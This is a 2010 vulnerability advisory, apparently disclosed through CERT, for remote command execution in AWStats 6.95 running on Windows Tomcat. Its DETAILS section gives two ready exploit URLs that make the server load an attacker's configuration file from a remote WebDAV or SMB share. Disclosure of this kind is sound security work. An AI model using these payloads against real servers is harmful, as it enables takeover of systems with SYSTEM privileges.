AWStats 6.95 Command Execution

`----------------------------------------------------------------------------  
---------  
  
www.ExploitDevelopment.com 2010-WEB-001 (CERT VU#870532)  
----------------------------------------------------------------------------  
---------  
  
  
TITLE:  
  
  
AWStats 6.95 and Older Remote Command Execution When Installed on Windows   
Apache Tomcat  
  
  
  
SUMMARY AND IMPACT:  
  
  
AWStats is vulnerable to remote command execution when installed on   
Apache Tomcat on Microsoft Windows operating systems. This issue is due   
to the way Apache Tomcat handles "\\" when specifying a configuration   
file directory. On a Windows XP AWStats system, an attacker can tell the  
remote server to call back to a WEBDAV enabled directory to pull the   
attacker's AWStats configuration file due to the "WebFolder" ability of   
the operating system. On a Windows 2003 or XP system, an attacker can   
tell the remote server to call back to a public SMB file share to pull   
the attacker's AWStats configuration file. The attacker's AWStats   
configuration file can contain arbitrary commands to be run on the   
vulnerable remote server as the web service account (The default web   
service account on Windows with Tomcat is the built in SYSTEM account).   
An attacker can use this exploit to gain administrative control of a   
DMZ web server or a web server that has ties to an internal network.  
  
  
  
DETAILS:  
  
  
Use the following steps to exploit this vulnerability.  
  
  
  
Attacking Windows XP Apache Tomcat AWStats Server:  
  
  
http://VulnerableServer:8080/cgi-bin/awstats.cgi?config=attacker&pluginmode=  
rawlog&configdir=\\Attacker-IPAddress:80\webdav  
  
  
  
Attacking Windows 2003 or Windows XP AWStats Server:  
  
  
http://VulnerableServer:8080/cgi-bin/awstats.cgi?config=attacker&pluginmode=  
rawlog&configdir=\\Attacker-IPAddress\SMB-Share  
  
  
  
VULNERABLE PRODUCTS:  
  
  
AWStats Log Analyzer 6.95 and Older (AWStats 7.0 was fixed on 2010/08/18  
10:49:50 - http://awstats.sourceforge.net/docs/awstats_changelog.txt)   
running on Windows XP or Windows 2003 (Other Windows OS versions have   
not been tested). AWStats must be installed on top of Apache Tomcat   
(All Versions).  
  
  
  
REFERENCES AND ADDITIONAL INFORMATION:  
  
  
N/A  
  
  
  
CREDITS:  
  
  
StenoPlasma (at) ExploitDevelopment.com  
  
  
  
TIMELINE:  
  
  
Discovery: May 1, 2010  
  
  
Vendor Notified: May 16, 2010  
  
  
Vendor Fixed: August 18, 2010  
  
  
Vendor Notified of Disclosure: October 26, 2010  
  
  
Disclosure to CERT: November 3, 2010  
  
CERT Published: November 30, 2010  
  
  
VENDOR URL:  
  
  
http://awstats.sourceforge.net  
  
  
  
ADVISORY URL:  
  
  
http://www.exploitdevelopment.com/Vulnerabilities/2010-WEB-001.html  
http://www.kb.cert.org/vuls/id/870532  
  
  
VENDOR ADVISORY URL:  
  
  
http://awstats.sourceforge.net/docs/awstats_changelog.txt  
  
  
-----------------------------------------------------  
  
StenoPlasma at ExploitDevelopment.com   
  
www.ExploitDevelopment.com  
  
-----------------------------------------------------   
`